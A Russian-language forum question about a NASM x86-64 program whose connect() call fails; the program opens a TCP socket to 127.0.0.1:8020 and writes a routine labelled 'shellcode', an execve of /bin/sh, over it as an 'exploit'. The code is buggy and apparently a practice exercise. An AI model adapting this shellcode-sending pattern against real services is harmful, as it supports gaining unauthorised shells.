не правильный аргумент в функции connect
в позиции подключение, не правильный задается аргумент. но что не так? вот код.
;DEFAULT REL
global main
extern printf
extern inet_aton
extern perror
extern connect
section .text
shellcode:
mov rax, 59
mov rdi, path
mov rsi, 0
mov rdx, 0
syscall
exploit:
mov rax, 1
mov rdi, [sock]
lea rsi, [shellcode]
mov rdx, [size_of_shellcode]
syscall
ret
main:
;------ получаем сокет -------
mov rdx, 0
mov rsi, [SOCK_STREAM]
mov rdi, [PF_INET]
mov rax, 41
syscall
mov [sock], rax
cmp rax, 0
jg continue_socket
xor rax, rax
lea rdi, [cant_socket]
syscall
jmp exit
;---- заполнить структуру ----
continue_socket:
xor rax, rax
mov ax, [PF_INET]
mov [s + family], ax
mov ax, [server_port]
xchg al, ah
mov [s + port], ax
xor rax, rax
lea rdi, [host]
xor rsi, rsi
lea esi, [s + in_addr]
call inet_aton
cmp rax, 0
je continue_fill
xor rax, rax
lea rdi, [cant_fill]
call printf
jmp exit
;------- подключение --------
continue_fill:
mov rax, 0
mov [s + data], rax
xor rdi, rdi
xor rdx, rdx
mov rdx, [sizeof_s]
lea rsi, [s]
mov rdi, [sock]
xor rax, rax
call connect
;mov rax, 42
; syscall
cmp rax, 0
je continue_connect
xor rax, rax
lea rdi, [cant_connect]
call perror
jmp exit
continue_connect:
;---- написать сообщение ----
xor rax, rax
mov rdi, 1
call exploit
;---- выход из программы ----
exit:
mov rax, 60
syscall
ret
section .data
struc sockaddr_in
family resw 1
port resw 1
in_addr resd 1
data resb 8
endstruc
cant_socket db 'Не удалось получить сокет', 0xa, 0x0
cant_fill db 'Не удалось преобразовать ip', 0xa, 0x0
cant_connect db 'Невозможно подключиться.', 0x0
host db '127.0.0.1'
path dq '/bin/sh'
size dd $ - path
sock dq 0
s istruc sockaddr_in
sizeof_s dq 16
server_port dw 8020
PF_INET dq 2
SOCK_STREAM dq 1
size_of_shellcode dd exploit - shellcode
компилируется в nasm.
all:
nasm -f elf64 bf.asm -o bf.o
gcc -no-pie bf.o -o test
# ld -b elf64-x86-64 bf.o inet.o -lc -o test